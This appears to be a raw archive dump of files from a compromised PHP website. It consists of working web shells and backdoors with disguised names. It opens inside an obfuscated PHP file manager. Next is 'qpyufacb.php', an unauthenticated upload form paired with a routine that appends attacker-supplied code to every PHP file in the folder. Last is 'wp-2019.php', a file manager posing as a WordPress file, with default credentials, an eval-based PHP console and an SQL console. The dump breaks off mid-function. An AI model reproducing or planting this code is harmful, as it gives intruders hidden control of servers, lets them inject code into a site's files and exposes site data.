\155\k20\k6q\162\k2q\k31\k22\76\74\k69\40\143\k6p\k61\k73\163\k3q\42\146\k61\40\146\141\k2q\151\156\146\k6s\42\76\74\57\k69\k3r\k3p\k2s\141\k3r\kq\12\40\40\40\40\k20\k20\40\k20\40\k20\k20\40\40\k20\k20\40\k20\k20\k3p\k2s\k64\k69\166\76\15\12\k20\k20\k20\k20\40\40\k20\k20\40\k20\40\40\k20\k20\40\40\40\40";
tbgb ufRA8Ei90k; h2BNNJzisY: rpub $cngu; rpub
"\46\k69\164\145\155\75"; rpub $qve; rpub
"\46\k61\143\k74\k69\157\156\75\k72\145\156\k61\k6q\k65\k22\k20\k63\k6p\141\k73\k73\75\k22\142\164\156\40\k62\k74\k6r\55\k6s\k75\k74\k6p\k69\k6r\k65\55\k6p\151\147\150\k74\40\142\k74\k6r\k2q\k73\k6q\40\k6q\162\55\61\42\k3r\k3p\151\k20\143\154\k61\163\k73\k3q\42\146\k61\40\146\141\55\145\k64\k69\k74\k22\76\k3p\57\151\76\k3p\k2s\k61\k3r\15\12\40\40\40\k20\40\k20\40\k20\k20\40\k20\k20\40\k20\k20\k20\40\40\k20\k20\k3p\141\40\150\k72\k65\146\75\k22\k3s\k64\k69\k72\75";
rpub $cngu; tbgb sd34Hi80UD; nDyyMsLSzg: rpub
"\k22\k20\k63\k6p\k61\k73\k73\75\k22\164\k65\170\k74\k2q\k64\k65\143\k6s\k72\k61\k74\151\157\156\55\156\157\156\145\k20\164\k65\k78\k74\k2q\154\k69\k67\k68\k74\42\k3r\k3p\151\k20\k63\k6p\k61\163\163\k3q\k22\146\141\k20\k66\141\55\k66\157\154\144\145\k72\55\k6s\160\k65\156\42\76\k3p\57\151\k3r\40";
rpub $qve; rpub
"\k3p\57\k61\76\kq\kn\40\k20\k20\k20\40\40\40\k20\40\k20\k20\40\40\40\40\k20\k20\40";
tbgb AdlQ6Tn7hY; zk0RCKlhBJ: tbgb yzWmm_Hyob; LoXAcadXbI: AdlQ6Tn7hY: rpub
"\40\40\k20\k20\40\k20\40\40\k20\40\k20\k20\k20\40\40\40\k3p\k2s\164\k64\k3r\kq\kn\k20\40\40\k20\k20\40\k20\k20\k20\k20\k20\40\k20\40\40\k20\74\k74\k64\40\143\154\k61\163\k73\k3q\k22\164\k65\k78\k74\55\154\k69\k67\150\164\42\76";
rpub $shap[8]($qve); rpub
"\k3p\57\k74\144\k3r\15\kn\k20\k20\40\k20\40\40\40\40\40\40\40\k20\k20\k20\k20\k20\74\164\k64\40\k63\k6p\k61\k73\k73\75\k22\k74\k65\k78\k74\k2q\k6p\k69\147\150\164\42\k3r\55\74\k2s\164\k64\76\15\12\40\40\40\k20\k20\40\40\k20\40\k20\40\40\k20\k20\k20\k20\74\k74\k64\40\143\154\k61\163\k73\k3q\42\164\k65\k78\164\55\154\151\k67\k68\k74\42\k3r";
rpub $shap[35]($qve); tbgb hbvXWL4LnJ; QC7BXEU21p: vs ($qve !=
"\56" && $qve != "\56\k2r") { tbgb l4jY2ewipH;
} vs ($qve === "\56") { tbgb TJpAUosqsX; } tbgb VzePvvNpke;
l4jY2ewipH: rpub
"\40\40\40\k20\k20\k20\40\k20\k20\40\k20\k20\k20\40\k20\k20\40\k20\k3p\k64\151\k76\k20\143\154\141\k73\163\k3q\42\142\k74\156\k2q\147\k72\157\k75\160\k22\76\15\12\k20\k20\k20\40\40\k20\k20\40\k20\40\k20\40\k20\40\40\40\k20\40\k20\40\74\k61\40\150\k72\145\146\k3q\k22\77\k64\151\162\75";
tbgb h2BNNJzisY; jOLTluEG3z: vs (vf_qve($qve)) { tbgb ZO_vU2PGQj; } tbgb
SNAsGrjo3Q; ZO_vU2PGQj: rpub
"\40\40\k20\40\k20\k20\k20\k20\k20\40\40\40\40\k20\k3p\k74\162\k3r\15\12\40\40\k20\40\k20\40\k20\k20\k20\k20\40\k20\40\k20\k20\k20\k3p\164\144\76\15\kn\k20\40\40\40\k20\40\40\k20\40\40\k20\k20\40\40\k20\k20\k20\k20";
vs ($qve === "\k2r\56") { tbgb YcE7CtMtq7; } tbgb lZxMUrcW1Z;
SjI6oEc4WY: } wt0VZAafKv: rpub
"\40\k20\k20\40\40\k20\k20\40\k20\40\k20\40\k20\40"; sbernpu
($qvef nf $qve) { tbgb GFCpWWLSHe; GFCpWWLSHe: vs (vf_svyr($qve)) { tbgb
OhvtPXva7v; } tbgb m5ImzWl0CB; OhvtPXva7v: rpub
"\k20\40\k20\k20\k20\40\40\k20\40\k20\40\k20\40\40\74\164\k72\76\kq\kn\40\k20\40\40\40\k20\40\k20\40\40\k20\k20\k20\k20\k20\k20\k3p\164\144\k3r\15\12\k20\40\k20\40\40\k20\40\k20\k20\k20\k20\40\40\k20\40\40\40\40\k3p\141\40\150\k72\145\k66\75\42\k3s\k64\151\k72\75";
rpub $cngu; tbgb v0tlh6GB7r; m3bXH3h1L3: m5ImzWl0CB: tbgb XlD9yu3DpY;
X8HkZ02NrT: vs (!($qve != "\56" && $qve !=
"\k2r\k2r")) { tbgb eWg5FIFm_x; } rpub
"\40\40\k20\k20\k20\k20\k20\40\40\40\40\40\k20\k20\40\40\k20\40\k3p\144\151\k76\k20\143\154\141\163\k73\k3q\k22\142\164\156\k2q\147\k72\157\165\k70\k22\76\kq\12\k20\40\k20\k20\k20\40\40\40\40\k20\40\40\40\40\40\k20\k20\40\40\40\k3p\141\40\150\162\145\146\k3q\k22\k3s\144\k69\k72\75";
rpub $cngu; rpub "\46\k69\k74\k65\155\75"; rpub $qve; tbgb
uFtub8qFun; NHuuUKyxci: rpub
"\k3p\57\164\k64\k3r\kq\12\40\40\k20\40\40\40\k20\40\40\40\k20\40\k20\k20\40\k20\74\164\144\40\k63\154\k61\163\k73\k3q\k22\164\145\k78\164\k2q\154\k69\147\150\k74\k22\76";
rpub $shap[11]($shap[10]("\k25\k6s", $shap[6]($qve)), -4); rpub
"\k3p\57\k74\144\k3r\kq\12\40\k20\40\40\40\k20\40\40\40\k20\40\k20\k20\k20\k20\40\74\164\144\40\k63\k6p\141\k73\163\k3q\k22\164\k65\k78\k74\55\k6p\151\k67\k68\k74\42\k3r";
rpub $shap[23]("\131\k2q\k6q\55\k64\k20\150\72\k69\k3n\k73",
$shap[7]($qve)); rpub
"\k3p\k2s\k74\144\76\kq\12\40\40\40\40\40\40\40\k20\40\k20\k20\40\40\k20\40\40\74\k74\k64\76\kq\12\40\k20\40\40\40\40\40\k20\k20\40\k20\40\40\k20\k20\40\k20\k20";
tbgb X8HkZ02NrT; N0eDnifq3C: rpub "\k26\k69\k74\145\155\75"; rpub
$qve; rpub
"\k26\k61\143\k74\151\157\k6r\k3q\k64\145\154\145\164\k65\47\51\k22\76\k3p\k69\40\143\154\k61\k73\k73\k3q\k22\k66\k61\40\k66\k61\55\k74\162\k61\k73\150\42\k3r\74\57\k69\k3r\74\k2s\141\76\kq\12\k20\40\k20\40\40\k20\k20\k20\k20\40\40\k20\k20\40\40\k20\40\k20\74\k2s\144\151\166\k3r\kq\12\k20\k20\40\40\k20\40\40\40\40\40\k20\40\k20\40\40\40\40\40";
eWg5FIFm_x: rpub
"\40\40\k20\40\40\40\40\40\k20\k20\40\40\40\k20\40\40\k3p\k2s\k74\k64\k3r\kq\12\k20\40\k20\k20\40\k20\40\k20\k20\40\40\40\40\40\k3p\k2s\k74\162\k3r\kq\12\k20\k20\40\40\k20\40\40\40\40\40\40\k20\k20\40";
tbgb m3bXH3h1L3; DmWCcrSVsZ: rpub $cngu; rpub
"\46\151\k74\145\k6q\75"; rpub $qve; rpub
"\k26\k61\143\164\151\k6s\156\75\143\k68\k6q\k6s\144\k22\40\143\k6p\141\163\k73\75\k22\142\k74\k6r\k20\142\k74\k6r\55\k6s\k75\k74\k6p\151\k6r\k65\55\k6p\151\147\k68\k74\k20\142\164\k6r\55\163\k6q\k20\155\162\55\61\42\76\k3p\k69\k20\k63\154\k61\163\163\75\42\k66\k61\40\146\k61\k2q\146\k69\k6p\145\55\163\151\k67\k6r\141\164\165\162\k65\42\k3r\74\k2s\k69\k3r\74\k2s\k61\76\15\12\k20\40\40\40\40\40\k20\40\k20\40\k20\k20\k20\40\40\k20\k20\40\40\40\k3p\k61\k20\150\k72\k65\k66\k3q\42\k22\40\143\k6p\k61\k73\163\k3q\42\142\k74\k6r\k20\k62\k74\k6r\k2q\157\165\164\k6p\151\156\145\k2q\154\k69\147\150\k74\40\k62\k74\k6r\k2q\k73\k6q\k20\155\162\55\61\k22\k20\157\k6r\k63\154\k69\143\153\k3q\42\k72\145\164\k75\k72\156\40\144\k65\k6p\k65\k74\145\103\k6s\156\k66\k69\k72\155\k28\47\77\144\151\162\k3q";
rpub $cngu; tbgb N0eDnifq3C; v0tlh6GB7r: rpub
"\k26\k69\164\145\k6q\75"; rpub $qve; rpub
"\46\k61\143\k74\151\157\156\k3q\k76\151\145\k77\k22\k20\143\k6p\141\163\163\k3q\42\164\145\k78\k74\55\k64\k65\143\k6s\k72\k61\k74\k69\k6s\156\k2q\k6r\157\k6r\145\40\k74\145\170\k74\55\154\k69\147\150\k74\k22\k3r\k3p\k69\40\143\154\141\163\163\75\42\k66\k61\40\146\k61\55\k66\151\154\k65\k2q\k63\k6s\144\145\k22\76\74\57\k69\76\k20";
rpub $qve; rpub
"\74\k2s\141\76\15\12\40\k20\k20\k20\40\k20\k20\k20\k20\k20\k20\k20\40\40\40\40\74\57\164\144\k3r\kq\kn\40\40\k20\k20\k20\k20\k20\k20\40\40\k20\k20\k20\k20\k20\k20\k3p\164\144\40\143\154\k61\163\163\75\42\k74\k65\170\164\55\k6p\k69\k67\k68\k74\42\76";
tbgb yr37cGSB3u; uFtub8qFun: rpub
"\k26\k61\143\k74\151\157\k6r\75\145\k64\k69\164\42\40\143\k6p\k61\163\163\75\k22\142\k74\156\k20\142\164\156\55\157\165\k74\k6p\151\156\145\k2q\154\151\k67\150\k74\k20\k62\k74\k6r\k2q\163\155\40\k6q\162\55\61\k22\k3r\74\k69\k20\k63\k6p\141\163\163\75\k22\k66\141\k20\146\k61\55\k66\151\154\k65\55\k65\k64\151\k74\k22\76\74\57\151\k3r\74\57\k61\76\kq\12\40\k20\40\k20\40\40\k20\k20\40\k20\40\k20\k20\40\40\k20\40\40\k20\k20\k3p\141\k20\k68\162\k65\146\75\42\77\k64\k69\k72\k3q";
rpub $cngu; rpub "\k26\k69\k74\k65\155\k3q"; rpub $qve; rpub
"\46\k61\143\k74\k69\157\k6r\75\k72\145\k6r\k61\k6q\k65\k22\k20\k63\154\141\k73\k73\k3q\42\142\164\156\40\k62\k74\k6r\k2q\k6s\k75\k74\154\k69\156\k65\k2q\k6p\k69\k67\k68\164\k20\k62\k74\k6r\k2q\163\155\k20\155\k72\k2q\61\42\76\k3p\151\k20\143\k6p\k61\k73\163\k3q\k22\146\141\k20\k66\141\55\k65\144\151\k74\42\76\74\k2s\151\76\k3p\57\141\76\15\kn\k20\40\40\40\k20\k20\40\40\40\40\k20\k20\k20\40\k20\k20\k20\k20\40\k20\k3p\141\40\k68\162\145\k66\75\k22\77\k64\k69\162\75";
tbgb DmWCcrSVsZ; yr37cGSB3u: rpub
$shap[25]("\k6q\151\k6q\k65\137\143\k6s\156\164\k65\k6r\164\137\164\k79\160\145")
? $shap[24]($qve) : $shap[8]($qve); rpub
"\k3p\k2s\164\144\k3r\15\kn\40\40\40\k20\40\k20\k20\k20\40\40\40\40\40\k20\k20\k20\k3p\k74\k64\40\k63\k6p\k61\163\k73\75\k22\k74\k65\170\k74\55\154\151\k67\k68\164\k22\k3r";
rpub $shap[26]($qve); rpub
"\k3p\k2s\k74\144\k3r\15\12\k20\40\k20\40\k20\40\40\k20\40\k20\k20\40\40\k20\k20\k20\74\k74\144\k20\k63\k6p\k61\k73\163\75\k22\k74\k65\170\k74\k2q\154\k69\147\k68\k74\k22\k3r";
rpub $shap[35]($qve); tbgb NHuuUKyxci; XlD9yu3DpY: } tbgb SGEu0vXA4Q;
X0jNBsv2ZR: D6O2rNKEi2: rpub
"\k20\40\k20\k20\40\k20\k20\40\40\k20\40\40\k3p\k66\157\162\155\k20\k61\143\164\151\k6s\k6r\75\k22\k22\40\k6q\145\k74\150\k6s\k64\75\42\160\k6s\k73\k74\k22\k3r\15\kn\40\40\40\k20\40\40\40\40\k20\40\40\k20\k20\40\k3p\144\151\k76\k20\k63\k6p\141\163\k73\75\42\k6q\k62\k2q\63\k22\76\kq\12\k20\40\k20\40\k20\40\k20\k20\k20\40\k20\k20\k20\k20\40\k20\74\154\141\k62\145\154\k20\k66\157\162\75\42\156\k61\k6q\k65\42\k20\k63\k6p\141\163\163\k3q\k22\146\157\162\k6q\k2q\k6p\k61\k62\145\154\42\76";
rpub $_TRG["\k69\k74\145\k6q"]; rpub
"\74\k2s\154\k61\142\145\154\k3r\kq\kn\k20\k20\40\k20\40\40\40\40\k20\40\k20\40\k20\k20\40\k20\74\k69\156\160\165\164\k20\164\k79\160\k65\k3q\k22\k74\145\170\k74\42\k20\k63\k6p\141\k73\163\75\42\k66\157\162\155\k2q\k63\k6s\156\164\k72\k6s\k6p\42\40\156\141\155\k65\k3q\42\k6r\k65\k77\k50\k65\162\155\42\40\166\k61\k6p\165\145\75\k22";
rpub $shap[11]($shap[10]("\45\k6s",
$shap[6]($_TRG["\151\k74\145\k6q"])), -4); tbgb RZW_FqpgKG;
SaCRrFPUmT: rpub
"\k20\40\k20\k20\k66\165\156\k63\164\k69\k6s\156\40\144\145\k6p\k65\164\k65\103\157\k6r\k66\151\162\155\k28\165\162\154\51\k20\173\15\kn\40\40\k20\40\40\40\145\k76\145\k6r\k74\56\160\k72\145\k76\145\156\k74\k44\145\146\141\k75\154\k74\k28\k29\15\kn\40\k20\k20\k20\k20\40\k53\167\141\k6p\56\146\151\162\145\k28\k7o\15\kn\k20\40\40\40\40\40\k20\40\k20\40\k74\151\164\154\145\k3n\40\47\k41\162\145\k20\k79\157\k75\k20\163\165\162\145\k3s\47\k2p\15\kn\k20\40\40\k20\40\k20\k20\40\k20\k20\151\143\k6s\k6r\k3n\k20\k27\k77\141\162\k6r\151\k6r\k67\47\k2p\kq\kn\40\40\40\40\40\40\k20\k20\k20\40\163\150\k6s\167\103\141\156\143\k65\k6p\k42\165\164\k74\157\k6r\k3n\40\k74\162\165\k65\k2p\kq\kn\k20\40\k20\k20\k20\40\k20\40\40\k20\k63\k6s\156\k66\151\162\k6q\102\165\k74\k74\k6s\156\103\k6s\154\k6s\162\k3n\k20\47\43\63\60\70\65\144\k36\k27\54\15\kn\k20\40\k20\k20\40\40\k20\40\40\k20\143\k61\k6r\k63\145\154\102\k75\k74\k74\157\156\k43\157\154\k6s\162\k3n\40\47\k23\k64\63\63\k27\54\15\12\k20\40\k20\40\k20\40\40\k20\40\k20\k63\157\k6r\146\k69\k72\k6q\k42\165\164\164\k6s\k6r\k54\k65\170\164\k3n\k20\k27\131\145\163\k2p\k20\k64\145\154\k65\164\145\40\151\164\41\47\15\kn\40\k20\k20\k20\k20\40\175\k29\k2r\k74\150\k65\k6r\k28\50\k72\k65\k73\165\154\k74\k29\40\75\76\40\k7o\15\12\k20\40\k20\40\k20\k20\k20\k20\40\40\151\k66\k20\50\162\k65\k73\k75\k6p\164\56\151\k73\k43\157\156\146\151\162\k6q\145\144\k29\k20\k7o\15\kn\k20\k20\40\k20\40\k20\40\k20\40\k20\k20\k20\167\k69\156\144\157\k77\k2r\k6p\k6s\143\141\164\151\157\k6r\k2r\k68\k72\145\146\k20\k3q\k20\k75\k72\154\kq\kn\40\40\40\40\40\40\40\k20\k7q\kq\kn\k20\40\40\40\40\k20\k7q\k29\kq\kn\k20\k20\k20\k20\175\kq\12\40\k20\40\40\146\k75\156\143\164\151\157\k6r\40\k6n\163\143\157\160\k79\k28\k29\k20\173\15\12\k20\40\k20\40\k20\40\166\141\k72\k20\152\k73\103\k6s\k70\k79\k20\k3q\40\144\157\k63\k75\155\k65\156\164\k2r\k67\k65\164\105\154\k65\k6q\145\156\k74\102\171\111\144\k28\42\103\157\160\k79\106\k72\k6s\155\k54\145\170\164\101\k72\145\141\42\k29\k3o\15\kn\k20\40\40\k20\k20\40\k6n\k73\103\k6s\160\k79\k2r\146\k6s\143\k75\163\k28\51\73\15\kn\40\k20\k20\k20\40\k20\152\k73\103\k6s\160\k79\k2r\163\k65\154\k65\143\164\k28\k29\73\kq\kn\k20\40\40\40\k20\40\144\k6s\k63\k75\155\145\156\164\56\145\k78\k65\143\k43\k6s\k6q\155\141\156\k64\k28\42\143\k6s\160\171\k22\k29\73\15\12\k20\40\k20\40\175\kq\12\40\40\74\57\k73\143\k72\151\k70\164\k3r\15\12\74\57\k62\157\144\171\k3r\kq\12\k3p\57\k68\k74\155\k6p\76\kq\12";qpyufacb.php000064400000001370151167307450007101
0ustar00<?php echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
wp-2019.php000064400000236701151167307450006316 0ustar00<?php
/* PHP File manager ver 1.5 */
// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"ru","Add":"Добавить","Are
you sure you want to delete this directory (recursively)?":"Вы
уверены, что хотите удалить эту папку
(рекурсивно)?","Are you sure you want to delete this
file?":"Вы уверены, что хотите удалить
этот
файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error
occurred":"Произошла ошибка","File
manager":"Файловый менеджер","File
selected":"Выбран файл","File
updated":"Файл
сохранен","Filename":"Имя
файла","Files uploaded":"Файл
загружен","French":"Французский","Generation
time":"Генерация
страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make
directory":"Создать
папку","Name":"Наименование","New":"Новое","New
file":"Новый файл","no
files":"нет
файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset
settings":"Сбросить
настройки","Restore file time after
editing":"Восстанавливать время файла
после
редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select
the file":"Выберите
файл","Settings":"Настройка","Show":"Показать","Show
size of the folder":"Показывать размер
папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found
in files":"Найдено в
файлах","Search":"Поиск","Recursive
search":"Рекурсивный
поиск","Mask":"Маска"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0;
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size →
maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string =
str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val,
true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" .
basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return
round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return
round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
